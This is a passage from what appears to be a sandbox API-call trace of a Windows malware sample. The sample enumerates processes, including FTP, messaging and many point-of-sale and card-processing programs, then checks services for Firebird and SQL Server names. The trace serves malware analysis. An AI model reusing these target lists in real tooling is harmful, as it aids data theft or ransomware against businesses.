returned 10 [0071.471] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0071.475] lstrlenW (lpString="scriptftp.exe") returned 13 [0071.475] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0071.476] lstrlenW (lpString="skype.exe") returned 9 [0071.476] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0071.478] lstrlenW (lpString="smartftp.exe") returned 12 [0071.478] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0071.479] lstrlenW (lpString="thunderbird.exe") returned 15 [0071.480] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0071.481] lstrlenW (lpString="totalcmd.exe") returned 12 [0071.481] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0071.482] lstrlenW (lpString="trillian.exe") returned 12 [0071.482] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0071.484] lstrlenW (lpString="webdrive.exe") returned 12 [0071.484] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0071.485] lstrlenW (lpString="whatsapp.exe") returned 12 [0071.485] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0071.487] lstrlenW (lpString="winscp.exe") returned 10 [0071.487] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0071.488] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0071.488] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0071.489] lstrlenW (lpString="active-charge.exe") returned 17 [0071.489] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0071.490] lstrlenW (lpString="accupos.exe") returned 11 [0071.490] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0071.492] lstrlenW (lpString="afr38.exe") returned 9 [0071.492] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0071.493] lstrlenW (lpString="aldelo.exe") returned 10 [0071.493] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0071.494] lstrlenW (lpString="ccv_server.exe") returned 14 [0071.494] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0071.495] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0071.495] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0071.496] lstrlenW (lpString="creditservice.exe") returned 17 [0071.496] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0071.497] lstrlenW (lpString="edcsvr.exe") returned 10 [0071.497] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x98c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0071.498] lstrlenW (lpString="fpos.exe") returned 8 [0071.500] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0071.501] lstrlenW (lpString="isspos.exe") returned 10 [0071.501] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0071.503] lstrlenW (lpString="mxslipstream.exe") returned 16 [0071.503] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0071.504] lstrlenW (lpString="omnipos.exe") returned 11 [0071.504] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0071.505] lstrlenW (lpString="spcwin.exe") returned 10 [0071.506] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0071.507] lstrlenW (lpString="spgagentservice.exe") returned 19 [0071.507] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0071.508] lstrlenW (lpString="utg2.exe") returned 8 [0071.508] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="atlascomedy.exe")) returned 1 [0071.509] lstrlenW (lpString="atlascomedy.exe") returned 15 [0071.509] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="starting_terminal_failing.exe")) returned 1 [0071.511] lstrlenW (lpString="starting_terminal_failing.exe") returned 29 [0071.511] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ntsc.exe")) returned 1 [0071.512] lstrlenW (lpString="ntsc.exe") returned 8 [0071.512] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="criteria.exe")) returned 1 [0071.513] lstrlenW (lpString="criteria.exe") returned 12 [0071.513] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0071.514] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0071.514] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0071.516] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0071.516] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0071.517] lstrlenW (lpString="taskhost.exe") returned 12 [0071.517] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0071.528] lstrlenW (lpString="dllhost.exe") returned 11 [0071.528] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0071.529] lstrlenW (lpString="dllhost.exe") returned 11 [0071.529] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0071.530] lstrlenW (lpString="winhost.exe") returned 11 [0071.530] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0071.531] lstrlenW (lpString="cmd.exe") returned 7 [0071.531] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 0 [0071.532] CloseHandle (hObject=0x114) returned 1 [0071.532] Sleep (dwMilliseconds=0x1f4) [0072.746] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x609638 [0072.747] EnumServicesStatusExW (in: hSCManager=0x609638, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21cff44, lpServicesReturned=0x21cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21cff44, lpServicesReturned=0x21cff5c, lpResumeHandle=0x0) returned 0 [0072.748] GetLastError () returned 0xea [0072.748] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x11e4) returned 0x635468 [0072.748] EnumServicesStatusExW (in: hSCManager=0x609638, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x635468, cbBufSize=0x11e4, pcbBytesNeeded=0x21cff44, lpServicesReturned=0x21cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x635468, pcbBytesNeeded=0x21cff44, lpServicesReturned=0x21cff5c, lpResumeHandle=0x0) returned 1 [0072.749] CloseServiceHandle (hSCObject=0x609638) returned 1 [0072.749] lstrlenW (lpString="Appinfo") returned 7 [0072.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0072.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0072.749] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0072.749] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0072.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0072.749] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0072.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0072.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0072.749] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0072.749] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0072.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0072.750] lstrlenW (lpString="AudioSrv") returned 8 [0072.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0072.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0072.751] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0072.751] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0072.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0072.751] lstrlenW (lpString="BFE") returned 3 [0072.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0072.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0072.751] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0072.751] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0072.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0072.751] lstrlenW (lpString="CryptSvc") returned 8 [0072.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0072.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0072.751] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0072.751] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0072.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0072.752] lstrlenW (lpString="CscService") returned 10 [0072.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0072.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0072.752] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0072.752] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0072.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0072.752] lstrlenW (lpString="DcomLaunch") returned 10 [0072.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0072.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0072.752] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0072.752] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0072.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0072.752] lstrlenW (lpString="Dhcp") returned 4 [0072.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0072.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0072.753] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0072.753] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0072.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0072.753] lstrlenW (lpString="Dnscache") returned 8 [0072.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0072.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0072.753] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0072.753] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0072.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0072.753] lstrlenW (lpString="DPS") returned 3 [0072.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0072.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0072.754] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0072.754] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0072.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0072.754] lstrlenW (lpString="eventlog") returned 8 [0072.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0072.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0072.754] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0072.754] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0072.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0072.754] lstrlenW (lpString="EventSystem") returned 11 [0072.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0072.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0072.755] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0072.755] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0072.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0072.755] lstrlenW (lpString="gpsvc") returned 5 [0072.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0072.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0072.755] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0072.755] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0072.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0072.755] lstrlenW (lpString="iphlpsvc") returned 8 [0072.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0072.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0072.755] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0072.756] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0072.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0072.756] lstrlenW (lpString="LanmanServer") returned 12 [0072.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0072.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0072.756] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0072.756] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0072.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0072.756] lstrlenW (lpString="LanmanWorkstation") returned 17 [0072.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0072.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0072.756] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0072.757] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0072.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0072.757] lstrlenW (lpString="lmhosts") returned 7 [0072.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0072.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0072.757] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0072.757] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0072.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0072.757] lstrlenW (lpString="MMCSS") returned 5 [0072.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0072.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0072.757] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0072.757] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0072.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0072.758] lstrlenW (lpString="MpsSvc") returned 6 [0072.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0072.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0072.758] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0072.758] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0072.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0072.758] lstrlenW (lpString="Netman") returned 6 [0072.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0072.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0072.758] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0072.758] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0072.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0072.758] lstrlenW (lpString="netprofm") returned 8 [0072.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0072.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0072.758] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0072.758] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0072.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0072.759] lstrlenW (lpString="NlaSvc") returned 6 [0072.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0072.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0072.759] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0072.759] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0072.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0072.759] lstrlenW (lpString="nsi") returned 3 [0072.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0072.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0072.759] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0072.759] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0072.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0072.759] lstrlenW (lpString="PcaSvc") returned 6 [0072.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0072.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0072.759] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0072.760] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0072.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0072.760] lstrlenW (lpString="PlugPlay") returned 8 [0072.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0072.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0072.760] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0072.760] lstrcmpiW (lpString1="mssqlserver", 